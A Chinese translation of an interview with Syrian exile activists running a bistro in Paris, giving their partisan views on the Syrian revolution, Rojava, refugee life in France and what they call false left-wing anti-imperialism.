大多数人都会说叙利亚革命的事件太复杂了。为了给这些人带来好处，我们可以说，是的，目前仍在叙利亚发生的武装冲突不是一个容易掌握的话题。然而，这并不是声称叙利亚没有涉及普通人（非常勇敢的人）的起义的借口。

我认为这就是激进派圈子里发生的事：在罗贾瓦的库尔德人方面，事情似乎很清楚。与我交谈的大多数人都有同样的论调：罗贾瓦是充满伊斯兰教徒和独裁者的中东地区的一场革命。参考点非常明确：反法西斯主义、女权主义、生态学和直接民主。具有讽刺意味的是，我认为这就是为什么一些支持罗贾瓦的人对当地发生的事或者对库尔德工人党的意识形态基础和历史知之甚少的原因。

法国某些激进的圈子，特别是自治的圈子，相对来说是自我封闭的（也有几个例外）。在许多情况下，保密和不透明的文化被教条式地

执行，这使得人们很容易感到被排斥在许多激进的空间之外；有时这是一种习惯，而不是一种有意的安全策略，这特别不幸。此外，我们可以立即感觉到，有某种预期的语言和其他成文的行为形式，是新来者无法理解的。一开始，我以为问题可能在于我的法语太差了；但后来，我发现，即使是政治化和参与性很强的法国本地人在自治的圈子里也经常感到被排斥。要找到一个切入点并不容易。尽管我理解非公开活动的必要性 —— 因为我们在叙利亚的一生都是在监视之下度过的—— 但缺乏一扇敞开的大门可以欢迎来自其他国家的活动家，这点无疑是一种耻辱。

在大多数激进派的圈子里，将非法国人，特别是非欧洲的活动家纳入法国的集体和行动中被认为是值得赞扬的—— 这被认为是多样性的一个好迹象。同时，非欧洲活动家很少有空间为改变法国激进主义的话语和实践做出贡献。我认为平等的原则是听取来自其他国家的活动家的意见，不仅是在故事和证词方面，而且在分析、战略思考和战术经验方面。

R-: 革命开始五年后，我来到了法国。在支持叙利亚运动方面，法国人在知识和参与问题上存在分歧。一方面，有一些人心中有战争的形象，有成千上万的移民在他们国家登陆的国际冲突。对这部分人来说，叙利亚人作为受害者的形象在引导他们对人道主义部门的支持。这促使他们把革命运动的政治方面放在了一边，把抵达法国的叙利亚人视为 “需要帮助的被动受害者，不适合成为政治生活中的参与者”。

另一方面，当我到达法国时，我遇到了一群忠于革命的无政府主义朋友。他们在政治上参与了法国的支持运动，有一个更自下而上的观点。他们不依靠主流媒体获取信息，而是倾听叙利亚人的声音——阅读和倾听他们的证词，与他们联系，参与他们的斗争。叙利亚小酒馆提供的美味食物

在法国，人们为你们的事业提供的最有用的帮助是什么？

L-: 法国有许多倡议和协会仍在欢迎难民，帮助他们解决住房、语言课程、行政程序、获得大学教育等问题。这是决定性的，真的很有帮助，特别是在我到达法国后的第一个时期。

还组织了一些活动，向解放区或陷入困境的项目发送人道主义援助和资源，特别是自办学校和医院。

另一件有用的事是可以利用社会中心的空间来举办关于叙利亚革命的活动和讲座。我们要感谢蒙特勒伊的 Parole Errante，他们向叙利亚

人敞开了大门。有一个可以组织的空间是至关重要的。我们还要热烈感谢蒙特勒伊的 Maison Ouverte，它在最初阶段接待了我们的项目。

其他类型的有用支持与媒体和信息有关。Lundi.am 等网站对叙利亚革命做了很好的报道；CQFD杂志用了整整一期来报道叙利亚革命，并定期从民间动员和当地进步力量的角度发表文章和报告。我们还可以提到不同的翻译举措，它们努力使叙利亚革命的文献可以用法语阅读。

最后，一些团体举办讲座、阅读小组和活动，邀请叙利亚革命者分享他们的经验，这很有帮助。这些都是至关重要的时刻，不仅可以让人们了解叙利亚革命，还可以让我们有机会认识一些人，建立一个盟友网络，在活动家之间建立个人关系。

有一件事很没用，那就是完全从地缘政治或人道主义的角度，*代表*我们这些叙利亚人去谈论叙利亚的 “冲突” 或 “战争”。这两种观点都使民众的斗争变得不可见，而民众的斗争不仅在军事上而且在公民社会层面上都面临着政权的威胁。这两种观点都使抵抗运动非政治化，并使当地行动者的政治机构最小化。人道主义的方法专注于受害者的形象，无论是经历战争的人还是设法逃离战争的难民—— 在这两种情况下，他们都被视为“无助的个体”，会引起人们的同情（但最终是冷漠）。地缘政治的方法基本上不具备任何同情心：战争受害者和难民只是 “风险” 游戏中的数字，所有的分析都以 “国家” 为中心，忘记了最重要的是人民为有尊严的生活所做的努力。

关于西方的团结形式，我们推荐 “A Critique of Solidarity”。在 AERI 空间准备叙利亚小酒馆的晚餐

叙利亚人在散居地的经历，是否会因阶级、种族、社会关系和其他因素存在不同？

L-: 从早期开始，政权就试图使用分化和征服的方法来打击人民起义。该政权的宣传利用叙利亚社会的种族和宗教多样性，使各社区相互对立，并利用紧张局势。今天，当人们把叙利亚发生的事情称为 “内战” 时，他们需要考虑到这是如何符合该政权的利益的—— 事实上，这是一个有意识的战略—— 以这些术语来框定局势，以便能够将当权者自己作为 “世俗” 实体，作为能够保证种族或宗教少数群体和平的唯一力量。事实上，我们在叙利亚小酒馆的大多数人都来自宗教少数群体。该政权从未保护过我们的利益，如果它在任何特定时刻这样做，那也纯粹是出于政治算计，而不是出于对现代主义的政教分离原则的信仰。

经过十一年的武装冲突，如果说民族或宗教社区之间不存在紧张关系，那是天真的。然而，我们坚持认为，在革命的最初几年，对政权的支持和反对并没有按照民族或宗教的界限来分配。即使在今天，在任何一个民族或宗教社区，你都能找到支持该政权的人和反对该政权的人，包括阿拉维派（什叶派的分支，包括阿萨德的宗教少数）。

然而，战争对下层阶级来说无疑要艰难得多。通货膨胀的后果使很大一部分人几乎买不起基本的生活用品。对于那些在国外没有家人可以负担得起外币汇款的人来说，日常生存绝对是至关重要的。

与战争的情况一样，某些阶级通过垄断或在某些物品的稀缺性基础上创造新的市场和盈利模式，而变得更加富有。此外，阿萨德的叙利亚，特别是巴沙尔领导下的叙利亚，一直是一个裙带资本主义的体系，只要政权获得其利润份额并保持政治控制，腐败就会得到鼓励。这种情况在过去十年中愈演愈烈；最近的例子是毒品行业的不断发展，因为叙利亚已经成为毒品 captagon 的主要生产国和出口国之一，这对稳定国民经济起到了一定的作用。

许多无法前往欧洲或其他西方国家的人由于缺乏资金或社会关系而无法获得签证，或者无法聚集足够的资金来寻找非合法的逃亡方式，无论是通过获得假的旅行证件还是非法越境。非法移民的成本都非常之高。

因此，决定人们能否进入欧洲国家的两个主要因素无疑是阶级和社会关系；这也解释了为什么大多数难民仍然在邻国。但我们不要忘记，有些人也决定留了下来，无论是因为他们拒绝离开斗争，还是因为他们拒绝离开自己的家，也许是由于害怕体验背井离乡的难民生活。

作为难民的经历，会因你是住在黎巴嫩还是土耳其、是住在法国还是德国而有很大不同。毫无疑问，其共同点是一种环境种族主义。关于欧洲，特别是法国，有一件事需要说。仇视伊斯兰教是歧视的主要原因之一，特别是对妇女。如果你碰巧是一个信奉伊斯兰教的人，如果这在公共领域是显而易见的，那么你作为一个难民的日子会更难过。在法国，这甚至对已经入籍的法国公民也是如此。

要明确的是：伊斯兰主义者窃取了叙利亚的革命，对社区和社会结构造成了巨大的伤害。他们和阿萨德一样，都是我们的敌人！然而，这不应该为伊斯兰恐惧症留下任何空间，无论是在欧洲人还是“世俗的叙利亚人”中。

那些在叙利亚境内的人应该得到物质支持，特别是那些在条件恶劣的

难民营中的境内流离失所者，他们在大雪下的帐篷中度过了几个冬天，几乎没有改变的希望。有几个倡议，你可以支持，比如这个倡议。

除了物质支持，还有认可和道义上的支持：必须记住，叙利亚未来的任何变革都将首先由仍然留在国内的人进行，即使散居海外的流亡者将发挥重要作用。我们需要关注仍然生活在那里的人们所说的话，关注他们有能力组织的任何动员和倡议，即使在政权控制的地区。

你可以查看这个 Facebook 页面，了解今天在政权控制的叙利亚领土内匿名发布的帖子和反政权口号。012 年 7 月在叙利亚的涂鸦："反抗和反压迫"。

如果要使叙利亚革命有不同的结果，需要什么？

L-: 我不知道我们是否可以提供一个关于革命如何"获胜"的分析：我们知道阿萨德的倒台不会自动给叙利亚带来自由和尊严。我们也意识到，正如我们中的一些人从欧洲国家的生活中了解到的那样，自由选举和"民主过渡"并不能保证人民获得可以自己决定如何生活的有效民主。突尼斯和最近的苏丹的例子告诉我们，推翻政权只是争取自决和正义的漫长斗争中的第一步。

然而，我们可以描述一些因素，这些因素可以减少我们所遭受的巨大损失，也许可以改变权力的平衡，有利于致力于解放的力量。

1、2015年俄罗斯干预前的禁飞区。

禁飞区会改变力量平衡，有利于叛军，因为在革命的最初几年，叛军有能力多次取得对政权部队的军事胜利。要求设立禁飞区的是当地的平民，而不仅仅是武装团体。

今天，我们在乌克兰看到了同样的要求："关闭空域，剩下的由我们来做"。我们珍惜我们的自治权，因此拒绝外部干预。然而，我们也知道，如果我们的头顶上没有不停地成堆落下的炸弹（目标是医院和学校以及军事阵地，就像今天在乌克兰发生的那样），我们中的更多人可以生存下来并进行抵抗。我们本可以把更多的时间用于想象和实施对政权和伊斯兰主义者的政治替代方案，而不是全部时间都用来把我们的亲人从被摧毁的家园的废墟中挖出来。

我们今天看到了同样的情况—— 美国和其他西方活动家拒绝军事干预的想法，提出了反帝国主义的论点。其中一个论点是，军事干预不

符合当地居民的利益。这种矛盾是显而易见的：当当地居民要求进行军事干预时，那些生命没有受到威胁的西方活动家却舒舒服服地写下反战文章，解释我们应该如何把当地居民的利益放在首位，“而他们却不愿意听从”。家长式领导。

2、更具决定性的军事支持：更快获得更多的防御性武器。

在叙利亚，时间方面存在巨大问题。当军事支持到达叛军手中时，总是为时已晚，而且不够充分，似乎不可能让政权垮台。今天写这篇文章时很难不提到乌克兰的情况。但让我们暂时不要进行比较，把注意力放在叙利亚身上。

在支持叙利亚叛军方面有很多犹豫，尤其是在军事干预利比亚的结果如此糟糕之后。在叙利亚革命的头几年，当涉及到向叛军提供可以对抗空袭和导弹的防御性武器时，各个西方国家的犹豫不决和优柔寡断为其他行为体的介入铺平了道路，将他们自己对武装（以及平民）反对派应该是什么样子的外部愿景，强加于人。

西方国家的犹豫不决—— 它们避免了对政权的威胁，以 “情报和培训” 进行干预，但总是为时已晚—— 导致武装冲突延长多年，使伊斯兰武装有机会控制领土。对伊斯兰武装团体的跨国支持远超过对自由叙利亚军和其他在宗教问题上保持中立的部队的物质援助。

从某种意义上说，我们不能说西方国家在叙利亚没有进行真正的军事干预。国际联盟确实进行了干预，轰炸了ISIS的阵地—— 为了做到这一点，他们无视所有条约和法律框架。

西方国家在叙利亚的干预是为了支持库尔德人和打击ISIS，但从来没有攻击过流血事件的根源，即 阿萨德的权力。根据叙利亚人权观察组织（SOHR）和叙利亚人权网（SNHR）的数据，在过去11年里，159,774名平民的死亡中，超过90,000人是由阿萨德造成的。

这种选择性的做法，即 西方政府拒绝对阿萨德采取行动，而在叙利亚的其他地方采取行动，代表了对叙利亚冲突的有意干预。

至于巴拉克·奥巴马著名的 “红线”，叙利亚革命者和阿萨德政权的反对者认为奥巴马将 “叙利亚档案” 交给了普京，希望俄罗斯能接替美国的世界警察角色。2013年，叙利亚约三分之二的领土已被解放并实现自治。2015年，俄罗斯军队开始协调叙利亚政权的军事行动。**2016**年，当阿勒颇沦陷时，它标志着权力平衡方面的一个不归点。由于俄罗斯，但也由于伊朗和真主党，反对该政权的势力的军事失败几

乎成为必然。

可以肯定的是，我们与美国对伊拉克发动的灾难性战争中的难民生活在一起，我们知道帝国主义在我们国家意味着什么。然而，在这种特殊情况下，不幸的是，美国和其他欧洲国家从叙利亚的影响战争中撤出，意味着多年的持续屠杀，并最终稳定和巩固了阿萨德的统治。11年后，阿萨德仍在执政，尽管他是21世纪最著名的屠夫之一。

3、本应更早地对伊斯兰主义者的扩张感到震惊。

在一些地区，人们花了太长时间才认识到伊斯兰主义者对公民动员和革命精神的威胁。在革命初期的抗议活动中，我们呼吁各民族和各宗教团结起来反对暴政。伊斯兰主义者的存在越来越多，使整个地形变得激进，所以如果你想从邻国获得财政支持或武器，你必须修改你的话语 —— 将其转为宗教语气，改变你的队伍或协会的名称，并在你的旗帜上写上 “真主至大”。叛军和革命者认为政权是主要的敌人，所以打击伊斯兰主义者和言论并不总是优先事项。

这在某种程度上是可以理解的，因为直到今天，叙利亚政权仍然是造成死亡和流离失所的主要原因。我们不应忘记，在革命期间，该政权在释放监狱中的伊斯兰教徒方面也发挥了积极作用，并避免了对其基地的直接攻击。考虑到伊斯兰主义者也在与政权作战，革命者希望在短期内，伊斯兰主义者会帮助扳倒阿萨德，然后就有可能处理伊斯兰主义者的存在。同样重要的是，不要忘记有许多抗议活动，例如直到今天在伊德利卜，这些抗议活动既反对政权，也反对伊斯兰主义者团体—— 这些团体在控制领土的地方都不乏暴政。

4、对地方议会等自治举措的支持和认可是一个关键因素。

民族国家实际上不可能承认非国家行为者，更不可能承认那些自我组织的、分散的、没有明确领导的行为者（与库尔德人的情况相反）。这些地方议会是能够代表叙利亚人民利益的最佳实体，因为他们组织了日常生活中的政治，并接管了管理服务。他们的成员是由当地人民主选举或任命的，其模式类似于萨帕塔的善治委员会。

国家不愿意承认这些实体并不奇怪—— 尽管无政府主义者应该承认这些实体！相反，各国政府象征性地承认了叙利亚全国联盟或理事会，这是一种自上而下的结构，试图找到外交解决方案；他们只是与来自不同国家的联合国代表会面，并举行了一系列会谈，但实际上在当地没有任何效果。在一段时期内，叙利亚全国联盟得到了革命者的一些支持，但通过这些机制实现变革的希望迅速消失，很大一部分革

命者开始批评这些与现实脱节的联盟。

5、与库尔德革命运动的组成部分建立更多联盟。

无论是叙利亚全国联盟还是其他受民族主义和种族主义困扰的政治实体，拒绝多民族叙利亚视野和联邦化的想法是叙利亚所有背景的革命者错失的机会，无论是库尔德人还是其他。与其说库尔德革命运动必须保持中立或与阿萨德政权合作，我们本可以想象叙利亚革命力量和库尔德革命力量在共同利益的基础上联合起来，以推翻该政权。双方都有很多理由这样做，但这并没有发生。而为了叙利亚的未来，这两支革命力量之间的和解将是必要的，以便推翻所有类型的暴政，包括政权、也包括伊斯兰主义者，并确保不会出现新的镇压性权力结构，甚至不会出现库尔德工人党或民主联盟党。

6、最后，如果左派没有重复阿萨德的宣传，大意是没有其他选择："你要么站在阿萨德一边，要么站在伊斯兰主义者一边"，那么革命的结果就会不同了。替代方案是有的！ 所有这些现在都很难解释，但话语始终是战场的主要部分，而人民的斗争和抵抗被视而不见。这样做的后果是巨大的—— 对历史记录的歪曲和篡改。

今天，如果你去看维基百科（以英文为例），你甚至找不到 "叙利亚革命" 的条目。你只能找到叙利亚的 "内战"—— 这个改变了数百万人的生活，甚至改变了全世界的政治的历史性事件，已经完全不为人所知，这实在太暴力了。这种语言是简化主义的和不准确的。事实上，如果我们想做到精确和无党派，我们至少可以承认，这不是一场内战，而是一场跨国冲突，因为几乎所有的西方政府和强大的区域或国家都以这种或那种方式干预了叙利亚。

在 AERI 空间为叙利亚小酒馆准备晚餐。

今天，你们如何继续组织起来支持叙利亚人民和散居海外的叙利亚流亡者？

L-: 我们试图为叙利亚和周边地区的倡议提供财政支持。这些倡议大多是 "人道主义" 的，旨在解决恶劣的生活条件，特别是在难民营。我们在巴黎地区组织了一些活动，收集急救必需品、衣服和药品，以及其他资源，以缓解被围困地区激烈冲突时期的物资困难。

我们组织了一个年度活动来庆祝叙利亚革命周年：对我们来说，邀请仍在叙利亚境内进行组织和活动的人来说话是非常重要的。这也是一个更新叙利亚革命遗产的机会，并谈论这里很少有人知道的方面，如

地方议会的经验。

今年，我们将举行一次关于挖掘反革命轴心的讲座，在讲座中，我们试图解构支持真主党或颂扬 **al-Sulemany** 等领导人的*伪反帝国主义论调，他们不承认这些势力不仅在叙利亚是反革命的，更重要的是，在黎巴嫩或伊朗也是反革命。

关于散居的叙利亚人，我们试图让这个小酒馆成为一个对所有人都开放的家（当然，政权的辩护人除外），以及一个讨论政治、组织和与法国其他政治团体会面的聚会场所。我们相信，为叙利亚人提供一个实际的聚会空间在流亡中是至关重要的：我们中大多数人的亲戚、朋友和家人都分散在世界各地，我们的生活是支离破碎的，鉴于我们的集体和个人创伤，对于世界和其他人来说，一直有一种疏远感。叙利亚小酒馆是一个寻求喘息和庇护的空间。

对我们来说，这个空间是开放的，欢迎来自其他国家的难民进入，这一点也很重要。我们是无国界的，我们不希望只在叙利亚人中进行组织。我们的社区，就像我们的存在一样，已经成为跨国的，我们必须接受这一点，而不是参与一个自我贫民化的过程。

最后，我们尽可能地分享在叙利亚发生的动员活动的新闻，以提醒人们，尽管经历了多年的战争和暴力，人们仍然在那里生活和组织。

你提到了你们与罗贾瓦的复杂关系。在过去十年中，许多人都听说过罗贾瓦，但人们并不总是在整个叙利亚革命的背景下理解它。你能描述一下你如何看待这些事件吗？

O-: 我可以试着从法国人的角度来回答。因为自2015年以来，我一直在试图反思激进和自由主义的西方左翼对罗贾瓦的热情，以及叙利亚革命和库尔德革命之间的差异（见这篇法语文章）。作为土耳其库尔德人事业的支持者，我一开始就被罗贾瓦的尝试所吸引，而后，在与流亡的叙利亚革命者的讨论中我感到相当困惑，他们对这个问题的观点完全不同。

在我看来，问题不在于是否支持罗贾瓦和库尔德人的革命运动。相反，当这种支持以一种幻想的方式进行时，问题就出现了，更糟糕的是，这种支持伴随着对它扎根的背景以及它与**2011**年开始的叙利亚革命的关系的完全无知。为了尝试理解这一切，以便能够表明立场，我们必须回到这两场不同类型的革命之间的差异和分歧上。2014年5月在叙利亚的一幅壁画。

在详细介绍它们之前，有一些基本的东西必须记住：几十年来作为少数民族被叙利亚政权压迫的库尔德人与库尔德工人党和民主联盟党（PYD）所体现的库尔德革命运动不能互换，这两个姊妹党从2012年开始建立了罗贾瓦项目。作出这种区分很重要，因为虽然许多库尔德人参加了叙利亚革命并贡献了他们的政治斗争经验，但民主联盟党（**PYD**）和库尔德工人党（**PKK**）却保持中立，甚至反对叙利亚革命。我们可以说，他们利用**2011**年起义造成的不稳定来实现他们自己的计划，即 建立一个按照其政党的意识形态原则—— 民主联邦制—— 组织起来的库尔德人自治领土。在伊拉克和土耳其的 Quandil 山区组建的库尔德工人党的近4万名战士和干部于2012年抵达叙利亚东北部库尔德人占多数的领土。

对立的最重要原因是PYD与凶残的巴沙尔政权之间的关系：虽然谈判的细节还不清楚，但似乎在2012年初，PYD-PKK与该政权谈判，要求返回叙利亚并接管与土耳其交界的三个库尔德人定居区（阿夫林、科巴尼和贾兹拉）作为交换，承诺不与自由叙利亚军(Free Syrian Army)建立共同阵线。在起义爆发几个月后，库尔德工人党的骨干力量来到这里，甚至镇压了反对叙利亚政权的示威活动。

一旦 **PYD-PKK** 在叙利亚东北部安家，一场联盟的博弈就彻底葬送了叙利亚革命者和库尔德革命者之间结成联盟的可能性—— 双方都严重依赖 “外国援助”来保证自己的生存，于是形成了对立的阵营。**PKK** 试图获得俄罗斯的保护，而当时俄罗斯已经在轰炸叙利亚叛军了。与此同时，几支叙利亚自由军民兵得到了**PKK**的死敌雷杰普·塔伊普·埃尔多安的土耳其政权的资助、武装和支持，埃尔多安努力孤立那些他认为是土耳其主要威胁之一的人，就像巴沙尔·阿萨德对叛军所做的那样。

今天，许多前叙利亚革命者，现在被土耳其收买，被土耳其政权利用来攻击库尔德人的领土，犯下可怕的暴行。考虑到2013年，叙利亚政权已接近倒台，我们可以说，有组织的、受过军事训练的战士的帮助肯定会能给巴沙尔政权带来政变。

许多库尔德人认为最后即使政权倒台，他们也会被反对派出卖——他们将无法实施他们的社区主义项目，库尔德人也不会获得自治权或权利。这表明，错误不只发生在一方。以伊斯坦布尔为基地的叙利亚反对派—— 它本身就受到叙利亚国内革命者的批评—— 在就叙利亚的未来进行谈判时，认为胜利就在眼前，同时拒绝将PYD-PKK 纳入讨论，拒绝给予库尔德人以保护地位。叙利亚反对派中的民族主义分子不想承认阿拉伯语以外的语言为民族语言，并将邦联制的想法视为分裂叙利亚的手段。“革命与人民同在，而不是在安塔基亚” [即，是

在叙利亚，而不是在土耳其，自封的叙利亚革命代表在那里接待崇拜者]。

这些紧张关系源于对革命和未来的两种不同看法。PYD-PKK 追求的是对叙利亚和整个地区的邦联主义和多元化愿景，承认少数民族和库尔德人的自治权。相比之下，许多叙利亚革命者将明天的叙利亚描绘成一个不可分割的共和国，其灵感来自法国革命风格的共和主义愿景。

今天，情况更加糟糕：自2018年以来，与巴沙尔的妥协愈演愈烈，因为PYD为了保护自己不被土耳其入侵，不被俄罗斯和美国抛弃，要求巴沙尔的帮助，向该政权做出许多让步，以换取面对埃尔多安入侵的保护。

因此，例如，该政权的一些代理人已经回到了罗贾瓦的库尔德领土。在阿夫林，我们甚至看到叙利亚军队举着政权的旗帜和巴沙尔的画像进行游行。**2021**年，**PYD-PKK**竟然在他们管理的城市曼比季镇压了抗议强制征兵的示威者，并将其杀害。对于许多叙利亚革命者来说，这是绝对不可原谅的。

最后，我认为重要的是要明白，我们正在谈论两个不同的革命运动。一方面是叙利亚起义，这是一场毫无准备的人民革命，它使大规模的政治化成为可能，而在此之前，人们几乎没有机会获得任何形式的社会和政治组织，但它最终导致了伊斯兰武装团体的军事霸权，以及巴沙尔·阿萨德政权及其盟友的胜利。另一方面，罗贾瓦革命是一个由拥有近40年经验的政党库尔德工人党策划的革命斗争的案例。库尔德工人党通过其创新实验和对民族国家的批判，成功地在国际范围内激发了民众的政治想象力。然而，它很难让人们相信库尔德民族意识并不是其项目的核心，它仍然从列宁主义和20世纪的解放斗争中汲取力量，而这些战略往往是独裁和独断的。陷于好战的土耳其和寻求其投降的叙利亚政权之间，它的未来仍然不确定。

就我们而言，在叙利亚小酒馆，我们寻求在两种经验的活动家之间进行对话，只要我们的对话者不否认叙利亚存在真正的人民革命，并尊重叙利亚人民在反对压迫的斗争中做出的牺牲。从这个出发点，我们可以听到关于叙利亚革命对库尔德人的态度的批评意见和辩论。

你的经历让你对国际主义的重要性有什么看法？

L-: 在叙利亚革命和战争之后，我们感觉到，作为叙利亚人，我们更了解这个世界，更有能力揭穿诸如 “国际社会” 或 “联合国” 的影响等

等的神话。我们拒绝这些实体并不只是基于无政府主义意识形态的理由，而是基于我们的经验，因为我们看到了月复一月发生的事，整个世界逐渐对叙利亚发生的事情视而不见。

我们很快就知道，我们不能依赖这些类型的机构。此外，虽然我们希望生活在一个没有边界分割的世界里，但我们意识到，目前我们必须考虑“中间”的建议和解决方案，通过这些建议和解决方案，我们可以在国家强加的现有划分中合作并相互支持我们的斗争。

我们从叙利亚革命的经验中了解到，我们面临的冲突是跨国的，所以我们的分析和改变局势的主张不能局限于国家框架。我们希望俄罗斯人能够做得更多，反对普京对叙利亚的军事干预，希望更多的黎巴嫩人拒绝送他们的孩子去打着真主党的旗号站在叙利亚政权一边作战，希望在阿勒颇沦陷时，整个欧洲各国首都都能爆发直接行动。

今天非常清楚的是，人民想要推翻这个系统。2019年，从香港到伊朗，人民起义在世界各地爆发，其要求和方法或多或少有些类似。我们需要更进一步，超越相似性，走向协调行动，构建跨国力量。

我们生活在一个全球化的世界里，我们所有人都遭受着同样的国际资本主义体系，就像生态危机，就像反动的民族主义政治，就像父权制。我们遭受的痛苦不尽相同，这取决于我们的肤色、性别、性取向、和阶级—— 但如果我们决定打击资本主义，试图创造一个没有各种统治和剥削的世界，除了联合，别无选择。联合是一种关键的必要性，而不是一种乌托邦式的奢侈。

我们所渴望的国际主义是战斗性的。它不是一些天真和非政治化的宣称。它是一种自下而上的国际主义，植根于地方自我组织和社会运动。

我们也可以从我们的流亡经历中解释我们的国际主义观点，即：并不是某个国家的公民在另一个地方就是“非法”的，这使你可以和许多其他以前与你没有关系的人站在同一战线上。例如，当你在法国与埃塞俄比亚的同志们在有关庇护的问题上并肩作战时，你的视角就不再一样了。你不能再回到从你的“祖国”或你的“东道国”的角度看世界—— 你有更宽广的视野，你可以站上一个足够解构那种有毒的民族主义的有利位置。

O-: 就个人而言，我真的试图理解为什么叙利亚革命在法国得到的支持如此之少。这其中有几个因素：冲突的复杂性，与叙利亚活动家缺乏预先存在的联系，潜在的种族主义，缺乏共同的参考点，叙利亚政

权及其在法国的代理人的宣传，等等。

另外，在法国社会，国际主义是非常薄弱的。即使在无政府主义或自治的圈子里，似乎也对国际起义缺乏兴趣（罗贾瓦、萨帕塔和巴勒斯坦除外）。法国媒体没有关于我们的节日 “The People Want” 的文章，也没有其他关于叙利亚小酒馆的报道，而例如阿拉伯文或英文的文章都已经有了，这不是巧合。

不幸的是，那些仅存的最敢于表达国际主义和反帝国主义立场的人往往有着很糟糕的目的—— 例如，让·吕克·梅朗雄，他在叙利亚支持普京，还有支持反革命和杀人的政权或团体，如真主党或伊朗政权。

对我来说，叙利亚革命一直是一个令人难以置信的灵感来源。你在那里学到的东西证明，国际主义在国内也为你提供丰富的知识。我相信，任何思考如何在21世纪进行革命的人都必须努力尝试了解过去十年中各种起义的经验教训，以思考未来的起义。

在经历了法国激进左派的鄙视之后，我告诉自己，这种情况不应该再发生了。这就是为什么我们试图对乌克兰的局势作出反应，思考如何不使那里的无政府主义同志们被孤立，要想办法使他们的声音和立场被听到。我们认为，叙利亚的教训，特别是在国际反应方面，对乌克兰将发生什么、以及我们能从外部做什么，都有很多启示。这就是为什么我们写了一篇关于它的文章。2014 年 7 月在叙利亚的涂鸦

那些虚假的 “反帝国主义” 概念正在有助于使阿萨德这样的统治者合法化。我们该如何抵制它？这些观念从何而来，其根源何在？

O-: 在法国，某种激进的左派经常为普京、伊朗政权、黎巴嫩真主党的政策辩护，因此也隐含着为叙利亚政权辩护，尽管这样做比较难以公开。

除了与他们斗争之外，我认为了解这些立场的根源是很重要的，因为我们在关于世界各地的多个不同的冲突中遇到了这些立场，而且我们在未来几年可能会遇到更多，特别是在普京入侵乌克兰之后。

根据我们的看法，这种虚假的 “反帝” 有两个不同的起源。首先，它来自于冷战时期 “阵营主义” 所继承的愿景。在冷战时期，意识形态的重点是支持接近社会主义的行动者（苏联、古巴、阿尔及利亚民族解放阵线、巴勒斯坦巴解组织等），反对以美国为首的西方“资本主义” 集团的扩张利益。问题是，在冷战结束三十年后，一些激进左派的实体仍然停留在这个从上一个世纪继承下来的愿景中。

在这些团体不再与意识形态上与他们关系密切的国家或组织有联系的情况下，这种学说转变成了“人们应该支持美国和西方帝国主义的任何反对者”—— 即 敌人的敌人。即使这个敌人的敌人本身是好战的、极权的、或暴政的，并且屠杀自己的人民 —— 就像中国、伊朗、叙利亚和俄罗斯政权那样，这类偏执派也坚持这样做。

今天，这种观点以一种极简化的和机会主义的方式忽视了这样一种可能性，即：人们完全可以支持反帝国主义的立场（就像我们所做的那样），拒绝西方的扩张主义（例如在利比亚、马里或伊拉克），同时也拒绝俄罗斯或伊朗等政权的扩张主义。例如，正如伊拉克革命者在2019年起义期间所做的那样，高呼“既不要美国也不要伊朗”。

在乌克兰战争中也一样，口号是“即不要普京也不要北约”。

那种虚假的“反帝国主义”的另一个起源点是，巴勒斯坦事业与自称对以色列的所谓“抵抗轴心”有关，据说这个轴心是由伊朗政权、叙利亚和黎巴嫩真主党体现的。因此，在法国，一些激进派（其中许多人来自贫困地区）在当地的组织工作做得很好，但在国际范围内却捍卫完全反动的立场。这包括支持巴沙尔·阿萨德、真主党或伊朗政权，借口是他们是主要敌人以色列的“唯一可信的对手”。

所有这些都可以用过去三十年来泛阿拉伯主义运动、社会主义运动或左翼运动的逐步衰落来解释。取而代之的是被虚构为“民众抵抗”的东西，但实际上是一个专制主义者的联盟，体现为伊朗政权、阿萨德政权和黎巴嫩政党真主党作为捍卫巴勒斯坦事业的“核心人物”。

在这一局势的演变中，有三个事件起到了关键作用。

1.) 1979年的伊朗革命，毛拉上台（在革命中镇压了马克思主义革命者）。在很少有阿拉伯共和国真正坚持反对以色列的情况下，他们迅速将自己定位为犹太复国主义的大敌。直到今天，他们仍然是巴勒斯坦哈马斯的大量财政支持的来源。

2.) 1975年至1990年的黎巴嫩战争，在这场战争中，巴勒斯坦和黎巴嫩的左派被打败了。主要的赢家是什叶派政党，特别是真主党（自1982年以来由伊朗政权资助和武装），因为它是唯一获准以“抵抗”以色列的名义保留武器的行为者。

3.) 最后，2006年以色列在黎巴嫩的攻势。在这场冲突中，真主党成功地抵御了以色列军队，这使它在黎巴嫩和整个地区都有了特殊的光环。一位黎巴嫩无政府主义者曾经告诉我，在那个时候，大量的左翼

活动家和多年来参与巴勒斯坦事业的黎巴嫩共产党人，都聚集到了真主党。他自己曾试图去边境加入，但被拒绝，因为他是逊尼派，而不是什叶派。

这涉及到一个更复杂的问题：目前没有任何捍卫我们立场的行为者能够站出来对抗以色列。这就是为什么在法国发生了类似的转变，许多曾经来自左翼捍卫巴勒斯坦事业的活动家最后都倒向了反动团体。2006年，在以色列爆炸事件发生时，巴黎发生了大规模的示威活动，甚至可以说是暴动。巴勒斯坦事业可以说是动员贫困地区大多数人的问题。重要的是要明白，对这一代人来说，这些事件象征着在法国这样一个种族主义国家的尊严的重要时刻，在那里，穆斯林不断被污名化和压迫。这就是为什么许多在这些示威活动中变得政治化的人仍然将真主党等团体视为巴勒斯坦事业甚至反帝国主义的英雄。

不幸的是，苏莱曼尼和哈桑·纳斯鲁拉根本不像切·格瓦拉或本·巴尔卡。后者没有捍卫反动和专制的意识形态，也没有像苏莱曼尼在叙利亚、伊拉克或伊朗国内为伊朗政权所做的那样镇压本国的起义。

最后，必须记住，2006年的真主党不是今天的真主党。在过去的十六年里，它把成千上万的黎巴嫩年轻人送到叙利亚被杀，以试图粉碎民主革命；它暗杀了反对其政策的人；它镇压了2019年黎巴嫩的起义，并且似乎在2020年8月贝鲁特港的爆炸中发挥了真正的作用。在黎巴嫩本身，真主党已不再具有相同的声誉。出现了数以百计的叛逃。黎巴嫩左翼中支持叙利亚政权和真主党的人（数量少得多）越来越多地被排除在民众集会之外。

对中东地区的政治体制保持一种固定的想法是一种东方主义的做法，它否认了导致我们目前状况的转变。就好像我们今天面对 Hirak [2019–2021年的阿尔及利亚抗议活动] 仍然支持阿尔及利亚政权，借口是 “将军们是赶走法国殖民统治的阿尔及利亚革命的继承人”。从那时起，这个政权就垄断了所有的权力，让人民噤若寒蝉，它3发动了一场内战，并镇压了几十次起义。事实上，没有人想到要支持它。

